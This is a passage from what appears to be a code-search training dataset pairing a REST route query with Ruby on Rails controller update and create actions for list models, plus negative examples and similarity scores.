"def create\n @ota_code_list_list = Ota::CodeList::List.new(params[:ota_code_list_list])\n\n respond_to do |format|\n if @ota_code_list_list.save\n format.html { redirect_to(@ota_code_list_list, :notice => 'List was successfully created.') }\n format.xml { render :xml => @ota_code_list_list, :status => :created, :location => @ota_code_list_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ota_code_list_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @tags = Tag.all\n @list_item = @list.list_items.new(list_item_params)\n\n respond_to do |format|\n if @list_item.save\n format.html { redirect_to list_path(@list), notice: 'List item was successfully created.' }\n format.json { render :show, status: :created, location: @list_item }\n else\n format.html { render :new }\n format.json { render json: @list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @get_restaurant_list = GetRestaurantList.new(params[:get_restaurant_list])\n\n if @get_restaurant_list.save\n render json: @get_restaurant_list, status: :created, location: @get_restaurant_list\n else\n render json: @get_restaurant_list.errors, status: :unprocessable_entity\n end\n end",
"def create\n @item = Item.create(item_params)\n @items = List.find(item_params[:list_id]).items.order(\"id ASC\")\n @list_id = item_params[:list_id]\n end",
"def create\n name, board_id = params[:name], params[:board_id]\n @list = List.new\n @list.name = name\n @list.board_id = board_id\n @list.order = List.get_max_order board_id\n @lists_size = List.get_size board_id\n respond_to do |format|\n if @lists_size < 6 && @list.save\n @lists_size += 1\n format.js { render action: 'create', status: :created, location: @list}\n else\n format.js { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rental_list = RentalList.new(rental_list_params)\n\n respond_to do |format|\n if @rental_list.save\n format.html { redirect_to @rental_list, notice: 'Rental list was successfully created.' }\n format.json { render :show, status: :created, location: @rental_list }\n else\n format.html { render :new }\n format.json { render json: @rental_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def list_params\n params.require(:list).permit(:name, :position)\n end",
"def create\n @shopping_list = ShoppingList.new(params[:shopping_list])\n\n respond_to do |format|\n if @shopping_list.save\n format.html { redirect_to(@shopping_list, :notice => 'Shopping list was successfully created.') }\n format.xml { render :xml => @shopping_list, :status => :created, :location => @shopping_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @shopping_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n # Create new saved list table entry\n @saved_list = SavedList.new\n\n # Store attributes\n @saved_list.login_id = params[:login_id]\n @saved_list.list_name = params[:list_name]\n @saved_list.saved_user_list = true\n @saved_list.date_saved = params[:date_saved]\n\n # Save the saved list\n respond_to do |format|\n if @saved_list.save\n\n # Create new user saved list entries for all users in list\n @user_ids = params[\"user_ids\"]\n @user_ids.each do |user_id|\n SavedListUser.create(saved_list_id: @saved_list.id, user_id: user_id)\n end\n\n format.html { redirect_to @saved_list, notice: 'Saved list was successfully created.' }\n format.json { render :show, status: :created, location: @saved_list }\n else\n format.html { render :new }\n format.json { render json: @saved_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @action_list = ActionList.new(params[:action_list])\n\n respond_to do |format|\n if @action_list.save\n format.html { redirect_to(@action_list, :notice => 'ActionList was successfully created.') }\n format.xml { render :xml => @action_list, :status => :created, :location => @action_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @action_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_list(params)\n MailManager::List.create(params)\n end",
"def create\n @listitem = Listitem.new(listitem_params)\n\n if @todolist.listitems << @listitem\n render :show, status: :created, location: todolist_listitem_path(@todolist, @listitem)\n else\n render json: @listitem.errors, status: :unprocessable_entity\n end\nend",
"def create\n @email_list = EmailList.new(params[:email_list])\n\n respond_to do |format|\n if @email_list.save\n format.html { redirect_to(@email_list, :notice => 'Email list was successfully created.') }\n format.xml { render :xml => @email_list, :status => :created, :location => @email_list }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @email_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @twitter_list = TwitterList.new(params[:twitter_list])\n\n respond_to do |format|\n if @twitter_list.save\n format.html { redirect_to @twitter_list, notice: 'Twitter list was successfully created.' }\n format.json { render json: @twitter_list, status: :created, location: @twitter_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @twitter_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(params[:list])\n @list.feeds_by_id = ''\n @list.user_id = current_user.id\n \n @lists = current_user.lists\n @feeds = current_user.feeds\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to(@list, :notice => 'List was successfully created.') }\n format.xml { render :xml => @list, :status => :created, :location => @list }\n format.js {render :layout => false}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @list.errors, :status => :unprocessable_entity }\n format.js {render :layout => false}\n end\n end\n end",
"def list_params\n params.require(:list).permit(:title, :description, :html_id, :html_classes,\n list_items_attributes: [\n :id, :type, :object_type, :object_id, :title, :subtitle, :url, :image_id, :target,\n :priority, :_destroy, :description, :html_classes,\n children_attributes: list_item_attributes\n ])\n end",
"def create\n @watch_list = WatchList.new(params[:watch_list])\n\n respond_to do |format|\n if @watch_list.save\n format.html { redirect_to @watch_list, notice: 'Watch list was successfully created.' }\n format.json { render json: @watch_list, status: :created, location: @watch_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @watch_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = current_user.lists.build(params[:list])\n respond_to do |format|\n format.js\n end\n end",
"def create\n @wordlist = Wordlist.new(params[:wordlist])\n\n respond_to do |format|\n if @wordlist.save\n flash[:notice] = 'Wordlist was successfully created.'\n format.html { redirect_to(@wordlist) }\n format.xml { render :xml => @wordlist, :status => :created, :location => @wordlist }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wordlist.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n #@list = List.new(list_params)\n @list = current_user.lists.create(list_params)\n if params[:campsite_id] && @list.listeds.find_by_campsite_id(params[:campsite_id]).blank?\n campsite = Campsite.find(params[:campsite_id])\n @listed = campsite.listeds.create(list:@list.id, user_id:current_user.id)\n #@listed = Listed.new()\n #@listed.list_id = @list.id\n #@listed.user_id = current_user.id\n #@listed.save\n end\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to management_lists_path, notice: 'List was successfully created.' }\n format.json { render action: 'show', status: :created, location: @list }\n else\n format.html { render action: 'new' }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = current_user.lists.find params[:list_id]\n @item = @list.items.build(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to list_items_path(@list), notice: 'Item was successfully created.' }\n #format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n #format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ml_list = Ml::List.new(ml_list_params)\n authorize! :create, @ml_list\n\n respond_to do |format|\n if @ml_list.save\n format.html { redirect_to @ml_list, notice: 'List was successfully created.' }\n format.json { render :show, status: :created, location: @ml_list }\n else\n\n format.html { render :new }\n format.json { render json: @ml_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list = List.new(list_params)\n # formatがhtmlで指定されていたら@listにリダイレクト、jsonで指定されていたらshowにリダイレクト?\n # 通常時ではHTML形式(いつもウェブサイト上で見る形)で結果を取得したいけど、明示的にJSON形式やXML形式を指定した場合は\n # JSON形式やXML形式で返すようにするメソッドらしい\n # 今回の運用ではhtmlの方しか使わない\n\n respond_to do |format|\n if @list.save\n format.html { redirect_to @list, notice: 'List was successfully created.' }\n format.json { render :show, status: :created, location: @list }\n else\n format.html { render :new }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def create\n @bear_list = BearList.new(bear_list_params)\n\n respond_to do |format|\n if @bear_list.save\n format.html { redirect_to @bear_list, notice: 'Bear list was successfully created.' }\n format.json { render :show, status: :created, location: @bear_list }\n else\n format.html { render :new }\n format.json { render json: @bear_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list_params\n params.require(:list).permit(:title, :reorder)\n end",
"def create\n @stopword_list = StopwordList.new(params[:stopword_list])\n\n respond_to do |format|\n if @stopword_list.save\n format.html { redirect_to @stopword_list, notice: 'Stopword list was successfully created.' }\n format.json { render json: @stopword_list, status: :created, location: @stopword_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stopword_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @word_list = WordList.new(word_list_params)\n\n respond_to do |format|\n if @word_list.save\n format.html { redirect_to @word_list, notice: 'Word list was successfully created.' }\n format.json { render :show, status: :created, location: @word_list }\n else\n format.html { render :new }\n format.json { render json: @word_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @list_item = ListItem.new(list_item_params)\n\n respond_to do |format|\n if @list_item.save\n format.html { redirect_to @list_item, notice: 'List item was successfully created.' }\n format.json { render :show, status: :created, location: @list_item }\n else\n format.html { render :new }\n format.json { render json: @list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agent_list = AgentList.new(agent_list_params)\n\n respond_to do |format|\n if @agent_list.save\n format.html { redirect_to @agent_list, notice: 'Agent list was successfully created.' }\n format.json { render :show, status: :created, location: @agent_list }\n else\n format.html { render :new }\n format.json { render json: @agent_list.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6684553",
"0.66708857",
"0.6340397",
"0.62764144",
"0.6275581",
"0.6235567",
"0.6208683",
"0.6176153",
"0.61346126",
"0.6114738",
"0.61128765",
"0.61101836",
"0.6091015",
"0.60893077",
"0.6058783",
"0.60430133",
"0.6008604",
"0.5997881",
"0.59887356",
"0.59887356",
"0.59726584",
"0.59722716",
"0.59707546",
"0.59619516",
"0.5944647",
"0.5941374",
"0.592978",
"0.59221035",
"0.58858234",
"0.5885207",
"0.58692074",
"0.58572847",
"0.5856733",
"0.5856733",
"0.5856733",
"0.5854363",
"0.5847844",
"0.5845345",
"0.5838943",
"0.5834819",
"0.58296144",
"0.5826073",
"0.58234686",
"0.58225495",
"0.5811658",
"0.580414",
"0.5801619",
"0.58011025",
"0.58008456",
"0.57898444",
"0.5784395",
"0.57703215",
"0.57631296",
"0.57615906",
"0.57506925",
"0.57491577",
"0.57292634",
"0.5722691",
"0.57214415",
"0.57120913",
"0.57100964",
"0.5706496",
"0.56969",
"0.56924534",
"0.5687062",
"0.56858003",
"0.56599176",
"0.5659474",
"0.5637139",
"0.5635424",
"0.5633541",
"0.5627209",
"0.5627053",
"0.562654",
"0.56130916",
"0.5612247",
"0.56106585",
"0.5606829",
"0.5598166",
"0.55973023",
"0.55910844",
"0.5588839",
"0.55885273",
"0.55799925",
"0.5575212",
"0.55706424",
"0.5570615",
"0.55666494",
"0.5562996",
"0.5560306",
"0.5557922",
"0.5552348",
"0.55523205",
"0.55512244",
"0.55503863",
"0.55503",
"0.55473375",
"0.5545656",
"0.5544893",
"0.55439216"
] |
0.61300457
|
9
|
PUT /warehouse_lists/1 PUT /warehouse_lists/1.xml
|
def update
@warehouse_list = WarehouseList.find(params[:id])
@customer = Customer.save_for_warehouse_list(params)
@warehouse_list.customer_id = @customer.id
respond_to do |format|
if @warehouse_list.update_attributes(params[:warehouse_list])
get_data_for_sidebar if called_from_index_page?
format.js
format.html { redirect_to(@warehouse_list) }
format.xml { head :ok }
else
@customers = Customer.all(:order => "name")
@products = Product.all(:order => "name,spec")
if @warehouse_list.customer
@customer = Customer.find(@warehouse_list.customer.id)
else
@customer = Customer.new
end
format.js
format.html { render :action => "edit" }
format.xml { render :xml => @warehouse_list.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_list(id, list)\n record \"/todos/update_list/#{id}\", :list => list\n end",
"def update_list(list_id, name)\n data = {\n list: {\n name: name\n }\n }\n rest(\"patch\", \"lists/#{list_id}\", data)\n end",
"def update\n @wellist = Wellist.find(params[:id])\n\n if @wellist.update(wellist_params)\n head :no_content\n else\n render json: @wellist.errors, status: :unprocessable_entity\n end\n end",
"def update\n @list = current_user.lists.find(params[:id])\n @list.update_attributes(params[:list])\n respond_with(@list, :location => my_list_url(@list))\n end",
"def update\n @list.update_attributes list_params\n end",
"def update\n\t\t@list = List.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @list.update_attributes(params[:list])\n\t\t\t\tformat.html\t{ redirect_to(root_url) }\n\t\t\t\tformat.xml\t{ head :ok }\n\t\t\telse\n\t\t\t\tformat.html\t{ render :action => \"edit\" }\n\t\t\t\tformat.xml\t{ render :xml => @list.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @set_list.update(set_list_params)\n format.html { redirect_to @set_list, notice: 'Set list was successfully updated.' }\n format.json { render :show, status: :ok, location: @set_list }\n else\n format.html { render :edit }\n format.json { render json: @set_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @setlist.update(setlist_params)\n format.html { redirect_to @setlist, notice: \"Setlist was successfully updated.\" }\n format.json { render :show, status: :ok, location: @setlist }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @setlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @thing_list = ThingList.find(params[:id])\n\n respond_to do |format|\n if @thing_list.update_attributes(params[:thing_list])\n format.html { redirect_to(@thing_list, :notice => 'Thing list was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @thing_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n \n list_attributes = params[:list] || params[:check_list]\n \n if @list.update(list_attributes)\n flash[:notice] = t(:list_saved)\n redirect_to @list\n else\n render :action => 'edit'\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to management_lists_path, notice: 'List was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @list = List.find(params[:id])\n\n respond_to do |format|\n if @list.update_attributes(params[:list])\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @list = List.find(params[:id])\n\n respond_to do |format|\n if @list.update_attributes(params[:list])\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'Changes and Additions Successful.' }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @list = List.find(params[:id])\n\n respond_to do |format|\n if @list.update_attributes(params[:list])\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_list(item_name, item_list, quantity)\n add_list(item_name, item_list, quantity)\nend",
"def update\n respond_to do |format|\n if @list.update(existing_list_params)\n format.html { redirect_to my_list_path(@list), notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: my_list_path(@list) }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order_list = OrderList.find(params[:id])\n\n respond_to do |format|\n if @order_list.update_attributes(params[:order_list])\n format.html { redirect_to(@order_list, :notice => 'OrderList was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @list_of_value = Irm::ListOfValue.find(params[:id])\n\n respond_to do |format|\n if @list_of_value.update_attributes(params[:irm_list_of_value])\n format.html { redirect_to({:action => \"index\"}, :notice => t(:successfully_updated)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @list_of_value.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(_list_params)\n format.html { redirect_to @list, notice: \"List was successfully updated.\" }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n item = @list.list_items.find(params[:id])\n\n if item.update_attributes(params[:list_item])\n render json: item\n else\n error(t('messages.list_item.errors.update'))\n end\n end",
"def update\n @list = List.find(params[:id])\n\n nested = params[:list].delete( :list_items_attributes )\n\n new_items = []\n\n if nested then\n nested.each do |i, r|\n\n if !r.key?( \"id\" )\n\n new_items << ListItem.new( { \"list\" => @list }.merge( r ) ) if !item_blank?( r )\n\n nested.delete( i )\n\n else\n\n r[ \"_destroy\" ] = \"true\" if item_blank?( r )\n\n end\n\n end\n end\n\n respond_to do |format|\n if @list.update_attributes( params[ :list ] ) && \n @list.update_attributes( list_items_attributes: (nested || {}) ) &&\n new_items.map( &:save ).all? then\n\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { head :no_content }\n\n else\n\n format.html { render action: \"edit\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n\n end\n end\n end",
"def update\n @show_set_list = ShowSetList.find(params[:id])\n\n respond_to do |format|\n if @show_set_list.update_attributes(params[:show_set_list])\n flash[:notice] = 'ShowSetList was successfully updated.'\n format.html { redirect_to(@show_set_list) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @show_set_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @list = List.find(params[:id])\n @show_list = true\n\n respond_to do |format|\n if @list.update_attributes(params[:list])\n format.html { render @list }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @adventure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_list\n current_path = '/api/v1/update'\n @conn.get(current_path)\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stocklist = Stocklist.find(params[:id])\n\n respond_to do |format|\n if @stocklist.update_attributes(params[:stocklist])\n format.html { redirect_to @stocklist, notice: 'Stocklist was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stocklist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to [@list.organization, @list], notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: [@list.organization, @list] }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'The List was updated.' }\n format.json { render :show, status: :ok, location: @list }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n @list_item = ListItem.find(params[:id])\n\n if @list_item.update(list_item_params)\n head :no_content\n else\n render json: @list_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n @list = List.find(params[:list_id])\n @list_item = @list.list_items.find(params[:id])\n\n if @list_item.update_attributes(params[:list_item])\n flash[:success] = \"List item was successfully updated.\"\n redirect_to list_path(@list) \n else\n flash[:errror] = \"Unable to update item.\"\n redirect_to edit_list_list_item_path(@list, @list_item)\n end\n end",
"def update\n @list = @project.lists.find(params[:id])\n\n respond_to do |format|\n if @list.update_attributes(params[:list])\n format.html { redirect_to [@project, @list], notice: 'List was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render layout: 'form', action: \"edit\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mailee_list = Mailee::List.find(params[:id])\n\n respond_to do |format|\n if @mailee_list.update_attributes(params[:mailee_list])\n format.html { redirect_to(@mailee_list, :notice => 'Mailee list was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mailee_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item.update_attributes(item_params)\n @items = List.find(item_params[:list_id]).items.order(\"id ASC\")\n @list_id = @item.list.id\n end",
"def update\n @mylist = Mylist.find(params[:id])\n\n respond_to do |format|\n if @mylist.update_attributes(params[:mylist])\n format.html { redirect_to(@mylist, :notice => 'Mylist was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mylist.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @wish_list = WishList.find(params[:id])\n\n respond_to do |format|\n if @wish_list.update_attributes(params[:wish_list])\n flash[:notice] = 'WishList was successfully updated.'\n format.html { redirect_to(admin_wish_lists_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wish_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @list_str_wk = ListStrWk.find(params[:id])\n @cart_ef=find_cart_ef\n respond_to do |format|\n if @list_str_wk.update_attributes(params[:list_str_wk])\n flash[:notice] = 'ListStrWk was successfully updated.'\n format.html { redirect_to(@list_str_wk) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @list_str_wk.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n\n else\n format.html { render :edit }\n\n end\n end\n end",
"def set_wellist\n @wellist = Wellist.find(params[:id])\n end",
"def update\n @fwlist = Fwlist.find(params[:id])\n\t@fwlist.policyrules.destroy_all\n\t@fwlist.setservices.destroy_all\n\t@fwlist.groupservices.destroy_all\n\t@fwlist.addrobjs.destroy_all\n\t@fwlist.groupaddrobjs.destroy_all\n\t\n\t\n respond_to do |format|\n if @fwlist.update_attributes(params[:fwlist])\n format.html { redirect_to @fwlist, notice: 'Fwlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fwlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list, notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: blog_list_path(@list) }\n else\n format.html { render :edit }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @list\n\n if @list.update(list_params)\n json_response(@list.decorate, :ok)\n else\n json_response(@list.errors, :unprocessable_entity)\n end\n end",
"def update\n @ota_code_list_list = Ota::CodeList::List.find(params[:id])\n\n respond_to do |format|\n if @ota_code_list_list.update_attributes(params[:ota_code_list_list])\n format.html { redirect_to(@ota_code_list_list, :notice => 'List was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ota_code_list_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @saved_list.update(saved_list_params)\n format.html { redirect_to @saved_list, notice: \"Saved list was successfully updated.\" }\n format.json { render :show, status: :ok, location: @saved_list }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @saved_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @list = List.find(params[:id])\n\n respond_to do |format|\n if @list.update_attributes(params[:list])\n flash[:notice] = '修改成功!'\n format.html { redirect_to action: \"index_admin\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @product_list = ProductList.find(params[:id])\n\n respond_to do |format|\n if @product_list.update_attributes(params[:product_list])\n flash[:notice] = 'ProductList was successfully updated.'\n format.html { redirect_to(@product_list) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @data_list = DataList.find(params[:id])\n\n respond_to do |format|\n if @data_list.update_attributes(params[:data_list])\n format.html { redirect_to(@data_list, :notice => 'Data list was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @data_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def save\n raise NotImplementedError, \"Lists can't be edited through the API\"\n end",
"def update\n respond_to do |format|\n if @list.update(list_params)\n format.html { redirect_to @list.entity, notice: 'La Liste de propositions pour la semaine ' + @list.date.to_time.strftime(\"%W\") + ' a été modifiée avec succès.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_list(list_name, text)\n update_value(\"#{list_name}-list\", text)\n end",
"def update\n @get_restaurant_list = GetRestaurantList.find(params[:id])\n\n if @get_restaurant_list.update(params[:get_restaurant_list])\n head :no_content\n else\n render json: @get_restaurant_list.errors, status: :unprocessable_entity\n end\n end",
"def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end",
"def set_list\n @list = List.find(params[:list_id])\n end",
"def set_list\n @list = List.find(params[:list_id])\n end",
"def set_list\n @list = List.find(params[:list_id])\n end",
"def update\n respond_to do |format|\n if @model_list.update(model_list_params)\n format.html { redirect_to @model_list, notice: 'Model list was successfully updated.' }\n format.json { render :show, status: :ok, location: @model_list }\n else\n format.html { render :edit }\n format.json { render json: @model_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book_list = BookList.find(params[:id])\n\n respond_to do |format|\n if @book_list.update_attributes(params[:book_list])\n format.html { redirect_to(@book_list, :notice => 'Book list was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
